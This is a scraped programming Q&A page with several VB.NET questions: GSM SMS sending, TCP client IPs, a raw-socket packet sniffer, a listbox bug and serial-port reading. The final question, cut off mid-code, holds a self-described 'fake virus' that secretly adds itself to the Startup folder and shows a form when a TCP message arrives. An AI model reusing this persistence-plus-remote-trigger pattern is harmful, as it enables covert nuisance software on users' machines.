sending sms to multiple recipients using gsm in vb.net - vb.net

Imports System
Imports System.Threading
Imports System.ComponentModel
Imports System.IO.Ports
Public Class SMSCOMMS
Private WithEvents SMSPort As SerialPort
Private SMSThread As Thread
Private ReadThread As Thread
Shared _Continue As Boolean = False
Shared _ContSMS As Boolean = False
Private _Wait As Boolean = False
Shared _ReadPort As Boolean = False
Public Event Sending(ByVal Done As Boolean)
Public Event DataReceived(ByVal Message As String)
Public Sub New(ByRef COMMPORT As String)
SMSPort = New SerialPort
With SMSPort
.PortName = COMMPORT
.BaudRate = 115200
.Parity = Parity.None
.DataBits = 8
.StopBits = StopBits.One
.Handshake = Handshake.RequestToSend
.DtrEnable = True
.RtsEnable = True
.NewLine = vbCrLf
End With
'ReadThread = New Thread(AddressOf ReadPort)
End Sub
Public Sub SendSMS(ByVal CellNumber As String, ByVal SMSMessage As String)
Dim MyMessage As String = Nothing
If SMSMessage.Length <= 160 Then
MyMessage = SMSMessage
Else
MyMessage = Mid(SMSMessage, 1, 160)
End If
If IsOpen = True Then
SMSPort.WriteLine("AT+CMGS=" & CellNumber & vbCr)
_ContSMS = False
Thread.SpinWait(200)
SMSPort.WriteLine(MyMessage & vbCrLf & Chr(26))
_Continue = False
Thread.SpinWait(200)
RaiseEvent Sending(False)
End If
End Sub
Private Sub ReadPort()
Dim SerialIn As String = Nothing
Dim RXBuffer(SMSPort.ReadBufferSize) As Byte
Dim SMSMessage As String = Nothing
Dim Strpos As Integer = 0
Dim TmpStr As String = Nothing
While SMSPort.IsOpen = True
If (SMSPort.BytesToRead <> 0) And (
SMSPort.IsOpen = True) Then
While SMSPort.BytesToRead <> 0
SMSPort.Read(RXBuffer, 0, SMSPort.ReadBufferSize)
SerialIn =
SerialIn & System.Text.Encoding.ASCII.GetString(
RXBuffer)
If SerialIn.Contains(">") = True Then
_ContSMS = True
End If
If SerialIn.Contains("+CMGS:") = True Then
_Continue = True
RaiseEvent Sending(True)
_Wait = False
SerialIn = String.Empty
ReDim RXBuffer(SMSPort.ReadBufferSize)
End If
End While
RaiseEvent DataReceived(SerialIn)
SerialIn = String.Empty
ReDim RXBuffer(SMSPort.ReadBufferSize)
End If
End While
End Sub
Public ReadOnly Property IsOpen() As Boolean
Get
If SMSPort.IsOpen = True Then
IsOpen = True
Else
IsOpen = False
End If
End Get
End Property
Public Sub Open()
If IsOpen = False Then
SMSPort.Open()
'ReadThread.Start()
End If
End Sub
Public Sub Close()
If IsOpen = True Then
SMSPort.Close()
End If
End Sub
End Class
i tried sending sms using gsm modem in vb.net using this code. This is working fine but when i tried sending sms to multiple recipient the first recipient only receives the sms while the others no reponse.
This is the code for the sending sms:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim sms As SMSCOMMS
sms = New SMSCOMMS("COM25")
sms.Open()
sms.SendSMS("+63*******", "123")
Threading.Thread.SpinWait(200)
sms.SendSMS("+63*******", "456")
sms.Close()
End Sub

Related

VB.NET TCP Server/Client - Get IP of connected client

I'm trying to get the IP address of the connected client but I don't know what I doing wrong. Where I can find it? I think near Sub AcceptClient. I was trying to convert cClient to string, but it always results to True or False. I'm trying to get the argument ar from cClient, which gives me an empty result.
Client.Client.RemoteEndPoint doesn't work or I can't use it correctly.
Form1.vb from Server project
Imports System.IO, System.Net, System.Net.Sockets
Public Class Form1
Dim Listener As TcpListener
Dim Client As TcpClient
Dim ClientList As New List(Of ChatClient)
Dim sReader As StreamReader
Dim cClient As ChatClient
Sub xLoad() Handles Me.Load
Listener = New TcpListener(IPAddress.Any, 3818)
Timer1.Start()
Listener.Start()
xUpdate("Server Started", False)
Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
''Set view property
ListView1.View = View.Details
ListView1.GridLines = True
ListView1.FullRowSelect = True
'Add column header
ListView1.Columns.Add("Adres IP", 120)
ListView1.Columns.Add("Nazwa użytkownika", 120)
End Sub
Sub AcceptClient(ByVal ar As IAsyncResult)
cClient = New ChatClient(Listener.EndAcceptTcpClient(ar))
AddHandler(cClient.MessageRecieved), AddressOf MessageRecieved
AddHandler(cClient.ClientExited), AddressOf ClientExited
ClientList.Add(cClient)
xUpdate("New Client Joined", True)
Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
End Sub
Sub MessageRecieved(ByVal Str As String)
xUpdate(Str, True)
End Sub
Sub ClientExited(ByVal Client As ChatClient)
ClientList.Remove(Client)
xUpdate("Client Exited", True)
End Sub
Delegate Sub _xUpdate(ByVal Str As String, ByVal Relay As Boolean)
Sub xUpdate(ByVal Str As String, ByVal Relay As Boolean)
On Error Resume Next
If InvokeRequired Then
Invoke(New _xUpdate(AddressOf xUpdate), Str, Relay)
Else
Dim nStart As Integer
Dim nLast As Integer
If Str.Contains("</>") Then
nStart = InStr(Str, "</></>") + 7
nLast = InStr(Str, "<\><\>")
Str = Mid(Str, nStart, nLast - nStart)
'dzielenie strina po odpowiednim syymbolu na przed i po symbolu :D
Dim mystr As String = Str
Dim cut_at As String = ","
Dim x As Integer = InStr(mystr, cut_at)
Dim string_before As String = mystr.Substring(0, x - 1)
Dim string_after As String = mystr.Substring(x + cut_at.Length - 1)
Dim otherItems As String() = {string_after}
ListView1.Items.Add(string_before).SubItems.AddRange(otherItems) 'use SubItems
ElseIf Str.Contains("<A>") Then
nStart = InStr(Str, "<A>") + 4
nLast = InStr(Str, "<B>")
Str = Mid(Str, nStart, nLast - nStart)
ListBox2.Items.Add(Str & vbNewLine)
Else
TextBox1.AppendText(Str & vbNewLine)
If Relay Then Send(Str & vbNewLine)
End If
End If
End Sub
Private Sub TextBox2_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox2.KeyDown
If e.KeyCode = Keys.Enter Then
e.SuppressKeyPress = True
xUpdate("Server Says: " & TextBox2.Text, True)
TextBox2.Clear()
End If
End Sub
Sub Send(ByVal Str As String)
For i As Integer = 0 To ClientList.Count - 1
Try
ClientList(i).Send(Str)
Catch
ClientList.RemoveAt(i)
End Try
Next
End Sub
End Class
ChatClient.vb from Server project
Imports System.Net.Sockets, System.IO
Public Class ChatClient
Public Event MessageRecieved(ByVal Str As String)
Public Event ClientExited(ByVal Client As ChatClient)
Private sWriter As StreamWriter
Public Client As TcpClient
Sub New(ByVal xclient As TcpClient)
Client = xclient
client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
End Sub
Private Sub Read()
Try
Dim sr As New StreamReader(Client.GetStream)
Dim msg As String = sr.ReadLine()
RaiseEvent MessageRecieved(msg)
Client.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
Catch
RaiseEvent ClientExited(Me)
End Try
End Sub
Public Sub Send(ByVal Message As String)
sWriter = New StreamWriter(Client.GetStream)
sWriter.WriteLine(Message)
sWriter.Flush()
End Sub
End Class
You can get the IP address from the underlying socket by converting the Socket.RemoteEndPoint property into an IPEndPoint:
Dim Address As IPAddress = CType(cClient.Client.Client.RemoteEndPoint, IPEndPoint).Address
MessageBox.Show(Address.ToString()) 'Example.

Datagridview filtering by TextBox or CheckBox

Here is my code:
Imports System.Net
Imports System.Net.Sockets
Public Class Form1
Dim socketz As New Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP)
Dim bytedata(4096) As Byte
Dim myip As IPAddress
Dim started As Boolean = True
Dim sizediff As Size
Dim formloaded As Boolean = False
Dim FilterIPAddress As New IPAddress(0)
Dim FilterIP As Boolean
Dim mycomputerconnections() As Net.NetworkInformation.NetworkInterface
'datagridview1 Update stuff
Dim stringz As String = ""
Dim Typez As String = ""
Dim ipfrom As IPAddress
Dim ipto As IPAddress
Dim destinationport As String = ""
Dim sourceport As String = ""
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
sizediff.Height = Me.Height - DataGridView1.Height
sizediff.Width = Me.Width - DataGridView1.Width
formloaded = True
mycomputerconnections = Net.NetworkInformation.NetworkInterface.GetAllNetworkInterfaces
For i = 0 To mycomputerconnections.Length - 1
Combobox1.Items.Add(mycomputerconnections(i).Name)
Next
End Sub
Private Sub OnReceive(ByVal asyncresult As IAsyncResult)
If started = True Then
'Get Length of packet (including header)
Dim readlength As UInteger = BitConverter.ToUInt16(Byteswap(bytedata, 2), 0)
sourceport = BitConverter.ToUInt16(Byteswap(bytedata, 22), 0)
destinationport = BitConverter.ToUInt16(Byteswap(bytedata, 24), 0)
'Get Protocol Type
If bytedata(9) = 6 Then
Typez = "TCP"
ElseIf bytedata(9) = 17 Then
Typez = "UDP"
Else
Typez = "???"
End If
'Get IP from and to
ipfrom = New IPAddress(BitConverter.ToUInt32(bytedata, 12))
ipto = New IPAddress(BitConverter.ToUInt32(bytedata, 16))
'If this is a packet to/from me and not from myself then...
If (ipfrom.Equals(myip) = True Or ipto.Equals(myip) = True) And ipto.Equals(ipfrom) = False Then
If FilterIP = False Or (FilterIP = True And (FilterIPAddress.Equals(ipfrom) Or FilterIPAddress.Equals(ipto))) Then
'Fix data
stringz = ""
For i = 26 To readlength - 1
If Char.IsLetterOrDigit(Chr(bytedata(i))) = True Then
stringz = stringz & Chr(bytedata(i))
Else
stringz = stringz & "."
End If
Next
'Put data to DataGridView, since it's on a different thread now, invoke it
DataGridView1.Invoke(New MethodInvoker(AddressOf datagridview1Update))
End If
End If
End If
'Restart the Receiving
socketz.BeginReceive(bytedata, 0, bytedata.Length, SocketFlags.None, New AsyncCallback(AddressOf OnReceive), Nothing)
End Sub
Private Sub datagridview1Update()
'Remove rows if there are too many
If DataGridView1.Rows.Count > 9 Then
DataGridView1.Rows.RemoveAt(0)
End If
DataGridView1.Rows.Add()
DataGridView1.Rows(DataGridView1.Rows.Count - 2).Cells(0).Value = ipfrom.ToString 'From Column, size at 125
DataGridView1.Rows(DataGridView1.Rows.Count - 2).Cells(1).Value = ipto.ToString 'To Column, size at 125
DataGridView1.Rows(DataGridView1.Rows.Count - 2).Cells(2).Value = destinationport.ToString
DataGridView1.Rows(DataGridView1.Rows.Count - 2).Cells(3).Value = sourceport.ToString
End Sub
Private Function Byteswap(ByVal bytez() As Byte, ByVal index As UInteger)
Dim result(1) As Byte
result(0) = bytez(index + 1)
result(1) = bytez(index)
Return result
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If started = True Then
Button1.Text = "Start"
started = False
Else
Button1.Text = "Stop"
started = True
End If
End Sub
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
If formloaded = True Then
DataGridView1.Size = Me.Size - sizediff
End If
End Sub
Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Combobox1.SelectedIndexChanged
For i = 0 To mycomputerconnections(Combobox1.SelectedIndex).GetIPProperties.UnicastAddresses.Count - 1
If mycomputerconnections(Combobox1.SelectedIndex).GetIPProperties.UnicastAddresses(i).Address.AddressFamily = Net.Sockets.AddressFamily.InterNetwork Then
myip = mycomputerconnections(Combobox1.SelectedIndex).GetIPProperties.UnicastAddresses(i).Address
BindSocket()
End If
Next
End Sub
Private Sub BindSocket()
Try
socketz.Bind(New IPEndPoint(myip, 0))
socketz.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, True)
Dim bytrue() As Byte = {1, 0, 0, 0}
Dim byout() As Byte = {1, 0, 0, 0}
socketz.IOControl(IOControlCode.ReceiveAll, bytrue, byout)
socketz.Blocking = False
ReDim bytedata(socketz.ReceiveBufferSize)
socketz.BeginReceive(bytedata, 0, bytedata.Length, SocketFlags.None, New AsyncCallback(AddressOf OnReceive), Nothing)
Combobox1.Enabled = False
Catch ex As Exception
Combobox1.BackColor = Color.Red
End Try
End Sub
End Class
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
Try
If TextBox1.Text <> "" And TextBox1.Text IsNot Nothing Then
FilterIPAddress = IPAddress.Parse(TextBox1.Text)
FilterIP = True
TextBox1.BackColor = Color.LimeGreen
Else
FilterIP = False
TextBox1.BackColor = Color.White
End If
Catch ex As Exception
FilterIP = False
TextBox1.BackColor = Color.White
End Try
End Sub
I'm trying to filter my DataGridView to only show the TextBox1's value of the sourceport column.

DropDownCheckedListBox Issue

Was looking at making a DropDownCheckedListBox for one of my forms. I found a complete source code that was on line.
Public Class DropDownCheckedListBox
Private Const T_DisplayListSize As Integer = 6
Private Const SelectNoneText As String = "(None Selected)"
Private Const SelectAllText As String = "(All Selected)"
Private Const SelectSomeText As String = "(Some Selected...)"
Private Frm As Form
Private Shadows LostFocus As Boolean
Private CodeValue As String
Private T_MustFill As Boolean
Private Shared m_ChkItemsString As String
Public Event DropDown()
Public Shadows Event TextChanged()
Public Sub New()
InitializeComponent()
InitializeNew()
End Sub
Private Sub InitializeNew()
Dim strTemp As String = Nothing
ListSize = T_DisplayListSize
T_DroppedDown = False
T_ListText = ""
T_MustFill = False
txt.Text = strTemp
Checklisbox.Hide()
Frm = New Form
With Frm
.ShowInTaskbar = False
.FormBorderStyle = FormBorderStyle.None
.ControlBox = False
.StartPosition = FormStartPosition.Manual
.TopMost = True
.Location = Checklisbox.Location
.Width = Checklisbox.Width
.Controls.Add(Checklisbox)
End With
SetSize()
End Sub
Private dataList() As String
Public Property Items() As String()
Get
Return dataList
End Get
Set(ByVal value As String())
dataList = value
End Set
End Property
Private ListSize As Integer
Public Property DisplayListSize() As Integer
Get
Return ListSize
End Get
Set(ByVal value As Integer)
ListSize = value
SetList()
End Set
End Property
Private T_DroppedDown As Boolean
Public ReadOnly Property DroppedDown() As Boolean
Get
Return T_DroppedDown
End Get
End Property
Private T_ListText As String
Public ReadOnly Property ListText() As String
Get
Return T_ListText
End Get
End Property
Private Sub ListButtonClick()
Dim strTemp As String
strTemp = T_ListText
If T_DroppedDown Then
T_DroppedDown = False
txt.Text = GetSelectedItems()
Checklisbox.Hide()
Frm.Hide()
txt.Focus()
If Not strTemp = T_ListText Then
RaiseEvent TextChanged()
End If
ElseIf Not LostFocus Then
T_DroppedDown = True
SetSize()
Frm.Show()
Checklisbox.Show()
Checklisbox.Focus()
RaiseEvent DropDown()
End If
LostFocus = False
End Sub
Private Function GetSelectedItems() As String
Dim strLst As String
Dim blnAllSelected As Boolean = False
strLst = ""
With Checklisbox
If .Items.Count > 0 Then
If .CheckedIndices.Count = 0 Then
strLst = SelectNoneText
Else
If .CheckedIndices.Count = .Items.Count Then
strLst = SelectAllText
Else
strLst = .CheckedIndices.Count & " selected" 'SelectSomeText
End If
End If
Else
strLst = SelectNoneText
End If
End With
Return strLst
End Function
'Removed code from this area that was just click, keystrokes events.
'Also Removed resize code.
Public Event SelectedIndexChanged(ByVal sender As DropDownCheckedListBox)
Public Shared Function GetItemsNameString(ByVal tempListBox As CheckedListBox) As String
m_ChkItemsString = ""
Try
If tempListBox.CheckedItems.Count > 0 Then
Dim tempItem As Object
For Each tempItem In tempListBox.CheckedItems
m_ChkItemsString = m_ChkItemsString & "," & tempItem.ToString()
Next
End If
m_ChkItemsString = m_ChkItemsString.Trim().Substring(1, m_ChkItemsString.Length - 1)
Catch ex As Exception
End Try
Return m_ChkItemsString
End Function
Public Sub setText(ByVal chklist As CheckedListBox)
If chklist.Items.Count > 0 Then
If chklist.CheckedIndices.Count = chklist.Items.Count Then
txt.Text = SelectAllText
Exit Sub
End If
If chklist.CheckedIndices.Count > 0 Then
txt.Text = chklist.CheckedIndices.Count & " selected"
ElseIf chklist.CheckedIndices.Count = 0 Then
txt.Text = SelectNoneText
End If
Else
txt.Text = SelectNoneText
End If
End Sub
Private Sub bChkLstBox_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
If Not dataList Is Nothing Then
If dataList.GetUpperBound(0) > 0 Then
For i As Integer = 0 To dataList.GetUpperBound(0)
If Not dataList(i) Is Nothing Then
Checklisbox.Items.Add(dataList(i))
End If
Next
End If
End If
End Sub
'Removed mouse events
End Class
This code works but I discovered a problem.
When I select items 1, 2, and 3 from the list and tell it to display the items in an list box I come up with the following: 1, 1, 2, 1, 2, 3.
I am still going over the code trying to figure it out but more experience individuals advice would be helpful.
Thanks in advance, and Apologies for the long code.
Edit:
Code to send items to Listbox
Dim Litems As New List(Of String)
ListBox1.Items.Clear()
Litems.Clear()
For Each I As String In DropDownCheckedListBox1.Checklisbox.CheckedItems
Litems.Add(I)
ListBox1.Items.AddRange(Litems.ToArray)
next
Move your AddRange line to outside the loop, otherwise, you keep re-adding the contents of your list to the ListBox:
Dim Litems As New List(Of String)
ListBox1.Items.Clear()
Litems.Clear()
For Each I As String In DropDownCheckedListBox1.Checklisbox.CheckedItems
Litems.Add(I)
next
ListBox1.Items.AddRange(Litems.ToArray)

Ccalling receive data function on Vb

I have gone through the Link vb serial communication. They ar eusing below function for getting data. My question are as follows
How to call this below function on VB
My data from serial are CSV value how to separate and display in a text box
Updating the text box values?
Function ReceiveSerialData() As String
' Receive strings from a serial port.
Dim returnStr As String = ""
Dim com3 As IO.Ports.SerialPort = Nothing
Try
com3 = My.Computer.Ports.OpenSerialPort("COM3")
com3.ReadTimeout = 10000
Do
Dim Incoming As String = com3.ReadLine()
If Incoming Is Nothing Then
Exit Do
Else
returnStr &= Incoming & vbCrLf
End If
Loop
Catch ex As TimeoutException
returnStr = "Error: Serial Port read timed out."
Finally
If com3 IsNot Nothing Then com3.Close()
End Try
Return returnStr
End Function
MY compelte code aS BELOW
Imports System
Imports System.IO.Ports
Imports System.ComponentModel
Imports System.Threading
Imports System.Drawing
Imports System.Drawing.Drawing2D
Imports System.Windows.Forms
Imports Microsoft.VisualBasic.FileIO
Imports System.IO
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim myPort As Array
myPort = IO.Ports.SerialPort.GetPortNames()
PortComboBox.Items.AddRange(CType(myPort, Object()))
BaudComboBox.Items.Add(9600)
BaudComboBox.Items.Add(19200)
BaudComboBox.Items.Add(38400)
BaudComboBox.Items.Add(57600)
BaudComboBox.Items.Add(115200)
ConnectButton.Enabled = True
DisconnectButton.Enabled = False
Timer1.Interval = 1000
Timer1.Start()
Receive.Text = ReceiveSerialData()
End Sub
Private Sub ConnectButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConnectButton.Click
SerialPort1.PortName = PortComboBox.Text
SerialPort1.BaudRate = CInt(BaudComboBox.Text)
SerialPort1.Open()
Timer1.Start()
'lblMessage.Text = PortComboBox.Text & " Connected."
ConnectButton.Enabled = False
DisconnectButton.Enabled = True
End Sub
Private Sub DisconnectButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisconnectButton.Click
SerialPort1.Close()
DisconnectButton.Enabled = False
ConnectButton.Enabled = True
End Sub
Function ReceiveSerialData() As String
' Receive strings from a serial port.
Dim returnStr As String = ""
Dim com3 As IO.Ports.SerialPort = Nothing
Try
com3 = My.Computer.Ports.OpenSerialPort("COM3")
com3.ReadTimeout = 10000
Do
Dim Incoming As String = com3.ReadLine()
If Incoming Is Nothing Then
Exit Do
Else
returnStr &= Incoming & vbCrLf
End If
Loop
Catch ex As TimeoutException
returnStr = "Error: Serial Port read timed out."
Finally
If com3 IsNot Nothing Then com3.Close()
End Try
Return returnStr
End Function
End Class
i am trying to create a short sample for you but you need to understand threading and serial working for this. follow the steps to create this sample
add new class module to your code with name mySerial and past following code in it (replace code)
Imports System.Threading
Imports System.IO.Ports
Imports System.ComponentModel
Public Class dataReceivedEventArgs
Inherits EventArgs
Private m_StringData As String
Public Sub New(strData As String)
Me.m_StringData = strData
End Sub
Public ReadOnly Property ReceivedData As String
Get
Return m_StringData
End Get
End Property
End Class
Public Class mySerial
Private ReadThread As Thread
Dim SPort As SerialPort
Private syncContext As SynchronizationContext
Public Event DataReceived(Sender As Object, ByVal e As dataReceivedEventArgs)
Public Sub New(ByVal COMMPORT As String, ByVal BaudRate As Integer)
Me.New(COMMPORT, BaudRate, Parity.None, 8, StopBits.One)
End Sub
Public Sub New(ByVal _COMMPORT As String, ByVal _BaudRate As Integer, ByVal _Parity As Parity, ByVal _DataBits As Integer, ByVal _StopBits As StopBits)
SPort = New SerialPort
With SPort
.PortName = _COMMPORT
.BaudRate = _BaudRate
.Parity = _Parity
.DataBits = _DataBits
.StopBits = _StopBits
.Handshake = Handshake.XOnXOff
.DtrEnable = True
.RtsEnable = True
.NewLine = vbCrLf
End With
Me.syncContext = AsyncOperationManager.SynchronizationContext
ReadThread = New Thread(AddressOf ReadPort)
End Sub
Public Sub OpenPort()
If Not SPort.IsOpen Then
SPort.Open()
SPort.DiscardNull = True
SPort.Encoding = System.Text.Encoding.ASCII
ReadThread.Start()
End If
End Sub
Public Sub ClosePort()
If SPort.IsOpen Then
SPort.Close()
End If
End Sub
Private Sub ReadPort()
Do While SPort.IsOpen
Dim ReceviceData As String = String.Empty
Do While SPort.BytesToRead <> 0 And SPort.IsOpen And ReceviceData.Length < 5000
Try
ReceviceData &= SPort.ReadExisting()
Thread.Sleep(100)
Catch ex As Exception
End Try
Loop
If ReceviceData <> String.Empty Then
'raise event and provide data
syncContext.Post(New SendOrPostCallback(AddressOf onDataReceived), ReceviceData)
End If
Thread.Sleep(500)
Loop
End Sub
Private Sub onDataReceived(ByVal ReceivedData As String)
RaiseEvent DataReceived(Me, New dataReceivedEventArgs(ReceivedData))
End Sub
End Class
this is class which will work as wrapper class for you, now to make it work add a form with name frmSerial and a textBox with name txtData and set multiline=true, scrollbars=both, now past following code in it
Public Class frmSerial
Dim WithEvents _Serial As mySerial
Private Sub frmSerial_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
_Serial.ClosePort()
End Sub
Private Sub frmSerial_Shown(sender As Object, e As EventArgs) Handles Me.Shown
_Serial = New mySerial("COM1", 9600)
_Serial.OpenPort()
End Sub
Private Sub _Serial_DataReceived(Sender As Object, e As dataReceivedEventArgs) Handles _Serial.DataReceived
txtData.Text &= e.ReceivedData
txtData.SelectionStart = txtData.Text.Length
txtData.ScrollToCaret()
End Sub
End Class
hop this helps you and people like you

Getting the error "Only one usage of each socket address (protocol/network address/port) is normally permitted" in vb.net 10

I am making a simple tcp communication program just to send strings I keep reciving
Only one usage of each socket address (protocol/network address/port) is normally permitted
I have run the exact same code on windows 8, in witch case it works fine, but on 7 i get this error.( I need it to run on 7)
here is my code( It is a fake virus not intended for any harm):
{
Imports IWshRuntimeLibrary
Public Class Form1
Dim virus As Boolean = False
'Public IsClosing As Boolean = False
Private _Server As New TcpCommServer(AddressOf UpdateUI)
Private _Server2 As New TcpCommServer(AddressOf UpdateUI2)
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
_Server.Start(32800)
_Server2.Start(32801)
If My.Settings.autostart = False Then
Dim startupPath As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
Dim executablePath As String = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName
Dim executableName As String = System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName
'create shortcut
Dim Shell As WshShell
Dim Link As WshShortcut
Try
Shell = New WshShell
Link = CType(Shell.CreateShortcut(startupPath & "\" & executableName & ".lnk"), IWshShortcut)
Link.TargetPath = executablePath
Link.Save()
Catch ex As Exception
MsgBox(ex.Message)
End Try
My.Settings.autostart = True
ElseIf My.Settings.autostart = True Then
End If
End Sub
Private Function BytesToString(ByVal data() As Byte) As String
Dim enc As New System.Text.UTF8Encoding()
BytesToString = enc.GetString(data)
End Function
Private Function StrToByteArray(ByVal text As String) As Byte()
Dim encoding As New System.Text.UTF8Encoding()
StrToByteArray = encoding.GetBytes(text)
End Function
Private Function BytesToString2(ByVal data() As Byte) As String
Dim enc2 As New System.Text.UTF8Encoding()
BytesToString2 = enc2.GetString(data)
End Function
Private Function StrToByteArray2(ByVal text As String) As Byte()
Dim encoding2 As New System.Text.UTF8Encoding()
StrToByteArray2 = encoding2.GetBytes(text)
End Function
Public Sub UpdateUI(ByVal bytes() As Byte, ByVal sessionID As Int32, ByVal dataChannel As Integer)
If Me.InvokeRequired() Then
' InvokeRequired: We're running on the background thread. Invoke the delegate.
Me.Invoke(_Server.ServerCallbackObject, bytes, sessionID, dataChannel)
Else
' We're on the main UI thread now.
If dataChannel = 1 Then
Me.lbtextinput.Text = (BytesToString(bytes))
ElseIf dataChannel = 255 Then
Dim tmp = ""
Dim msg As String = BytesToString(bytes)
Dim dontReport As Boolean = False
' _Server as finished sending the bytes you put into sendBytes()
If msg.Length > 3 Then tmp = msg.Substring(0, 3)
If tmp = "UBS" Then ' User Bytes Sent.
Dim parts() As String = Split(msg, "UBS:")
msg = "Data sent to session: " & parts(1)
End If
End If
End If
End Sub
Public Sub UpdateUI2(ByVal bytes() As Byte, ByVal sessionID As Int32, ByVal dataChannel As Integer)
If Me.InvokeRequired() Then
' InvokeRequired: We're running on the background thread. Invoke the delegate.
Me.Invoke(_Server2.ServerCallbackObject, bytes, sessionID, dataChannel)
Else
' We're on the main UI thread now.
If dataChannel = 1 Then
MsgBox(BytesToString2(bytes))
ElseIf dataChannel = 255 Then
Dim tmp = ""
Dim msg As String = BytesToString2(bytes)
Dim dontReport As Boolean = False
' _Server as finished sending the bytes you put into sendBytes()
If msg.Length > 3 Then tmp = msg.Substring(0, 3)
If tmp = "UBS" Then ' User Bytes Sent.
Dim parts() As String = Split(msg, "UBS:")
msg = "Data sent to session: " & parts(1)
End If
End If
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If lbtextinput.Text = "Start Virus" Then
virus = True
ElseIf lbtextinput.Text = "Stop Virus" Then
virus = False
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If virus = True Then
Form2.Show()
Else
Form2.Hide()
End If
End Sub
End Class
} Form1
Now a linked class {
Imports System.IO
Imports System.Runtime.InteropServices
Public Class clsAsyncUnbuffWriter
Public Class clsSystemInfo
Private Class WinApi
<DllImport("kernel32.dll")> _
Public Shared Sub GetSystemInfo(<MarshalAs(UnmanagedType.Struct)> ByRef lpSystemInfo As SYSTEM_INFO)
End Sub
<StructLayout(LayoutKind.Sequential)> _
Public Structure SYSTEM_INFO
Friend uProcessorInfo As _PROCESSOR_INFO_UNION
Public dwPageSize As UInteger
Public lpMinimumApplicationAddress As IntPtr
Public lpMaximumApplicationAddress As IntPtr
Public dwActiveProcessorMask As IntPtr
Public dwNumberOfProcessors As UInteger
Public dwProcessorType As UInteger
Public dwAllocationGranularity As UInteger
Public dwProcessorLevel As UShort
Public dwProcessorRevision As UShort
End Structure
<StructLayout(LayoutKind.Explicit)> _
Public Structure _PROCESSOR_INFO_UNION
<FieldOffset(0)> _
Friend dwOemId As UInteger
<FieldOffset(0)> _
Friend wProcessorArchitecture As UShort
<FieldOffset(2)> _
Friend wReserved As UShort
End Structure
End Class
Public Shared Function GetPageSize() As Integer
Dim sysinfo As New WinApi.SYSTEM_INFO()
WinApi.GetSystemInfo(sysinfo)
Return CInt(sysinfo.dwPageSize)
End Function
End Class
Private target As FileStream
Private inputBuffer As MemoryStream
Private bufferSize As Integer
Private running As Boolean
Private writing As Boolean
Private readWait As Threading.ManualResetEvent
Private writeWait As Threading.ManualResetEvent
Private finishedWriting As Threading.ManualResetEvent
Private totalWritten As Int64
Private writeTimer As Stopwatch
Public Function GetTotalBytesWritten() As Int64
Return totalWritten
End Function
Public Function IsRunning() As Boolean
Return running
End Function
Public Sub Close()
writing = False
writeWait.Set()
finishedWriting.WaitOne()
readWait.Set()
End Sub
Public Function GetActiveMiliseconds() As Int64
Try
Return writeTimer.ElapsedMilliseconds
Catch ex As Exception
Return 0
End Try
End Function
Public Shared Function GetPageSize() As Integer
Return clsSystemInfo.GetPageSize
End Function
Public Sub New(ByVal dest As String, _
Optional ByVal unbuffered As Boolean = False, _
Optional ByVal _bufferSize As Integer = (1024 * 1024), _
Optional ByVal setLength As Int64 = 0)
bufferSize = _bufferSize
Dim options As FileOptions = FileOptions.SequentialScan
If unbuffered Then options = FileOptions.WriteThrough Or FileOptions.SequentialScan
readWait = New Threading.ManualResetEvent(False)
writeWait = New Threading.ManualResetEvent(False)
finishedWriting = New Threading.ManualResetEvent(False)
readWait.Set()
writeWait.Reset()
finishedWriting.Reset()
target = New FileStream(dest, _
FileMode.Create, FileAccess.Write, FileShare.None, GetPageSize, options)
If setLength > 0 Then target.SetLength(setLength)
totalWritten = 0
inputBuffer = New MemoryStream(bufferSize)
running = True
writing = True
writeTimer = New Stopwatch
Dim asyncWriter As New Threading.Thread(AddressOf WriteThread)
With asyncWriter
.Priority = Threading.ThreadPriority.Lowest
.IsBackground = True
.Name = "AsyncCopy writer"
.Start()
End With
End Sub
Public Function Write(ByVal someBytes() As Byte, ByVal numToWrite As Integer) As Boolean
If Not running Then Return False
If numToWrite < 1 Then Return False
If numToWrite > inputBuffer.Capacity Then
Throw New Exception("clsAsyncUnbuffWriter: someBytes() can not be larger then buffer capacity")
End If
If (inputBuffer.Length + numToWrite) > inputBuffer.Capacity Then
If inputBuffer.Length > 0 Then
readWait.Reset()
writeWait.Set()
readWait.WaitOne()
If Not running Then Return False
inputBuffer.Write(someBytes, 0, numToWrite)
End If
Else
inputBuffer.Write(someBytes, 0, numToWrite)
End If
Return True
End Function
Private Sub WriteThread()
Dim bytesThisTime As Int32 = 0
Dim internalBuffer(bufferSize) As Byte
